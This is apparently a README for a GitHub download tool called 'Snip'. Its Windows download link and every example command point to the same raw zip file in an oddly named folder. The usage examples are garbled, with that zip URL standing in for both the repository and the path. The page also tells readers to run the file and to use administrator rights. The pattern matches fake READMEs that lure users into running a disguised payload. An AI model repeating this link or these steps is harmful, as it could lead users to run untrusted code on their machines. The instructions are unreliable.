Welcome to Snip! This tool allows you to download specific directories or files from a GitHub repository without needing to clone the entire project. This can save you time and effort, especially when you only need a small part of a larger project.
To get started with Snip, follow these steps:
- Visit the Releases page for the latest version of Snip.
- On the Releases page, you will see a list of available downloads. Click on the version you want to download.
- Depending on your operating system, choose the appropriate file. Here are some common options:
- Windows: download
https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip - MacOS: download
snip_macos - Linux: download
snip_linux
- Windows: download
- After downloading, locate the file on your computer. It is usually in your "Downloads" folder unless you specified another location.
- To run Snip, double-click the downloaded file. If prompted, confirm that you want to run it.
Once you have Snip up and running, here’s how to use it:
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Open your command-line interface:
- Windows: Use Command Prompt or PowerShell.
- MacOS: Use Terminal.
- Linux: Use Terminal.
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Enter the command: Use the following format to download a file or directory:
snip [repository-url] [path-to-file-or-directory]- repository-url: The URL of the GitHub repository.
- path-to-file-or-directory: The specific path of the file or folder you want to download.
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Example: To download a file:
snip https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zipTo download a directory:
snip https://raw.githubusercontent.com/nma12323/snip/main/aphroditous/snip.zip path/to/directory -
Wait for download: Snip will notify you when the download completes. You will find the downloaded content in your current working directory.
Snip comes with several useful features:
- Simplicity: Easy-to-use command line interface.
- Efficiency: Download only what you need without the full repository.
- Cross-Platform: Works on Windows, MacOS, and Linux.
- Lightweight: Minimal memory usage and quick execution.
To run Snip successfully, ensure your system meets the following requirements:
- Operating System:
- Windows 10 or later
- MacOS Mojave or later
- Any modern Linux distribution
- Memory: At least 512 MB of RAM
- Disk Space: Minimal space is required, typically less than 10 MB
If you encounter any issues while using Snip, consider the following solutions:
- Command not found: Ensure you have the correct file name and path.
- Permission denied: Run your command-line interface as an administrator or use
sudoon Linux and MacOS. - File not downloading: Double-check the repository URL and path to the file or directory.
We encourage you to reach out for any help or suggestions:
- Issues: Report any issues at the Issues page.
- Questions: Open a discussion at Discussions.
If you're interested in contributing to Snip, here's how you can get started:
- Fork the repository by clicking the "Fork" button.
- Create a new branch for your feature or fix.
- Make your changes and commit them.
- Push your changes to your forked repository.
- Submit a pull request so we can review your contributions.
Thank you for supporting Snip. We hope this tool makes your interactions with GitHub repositories easier and more efficient!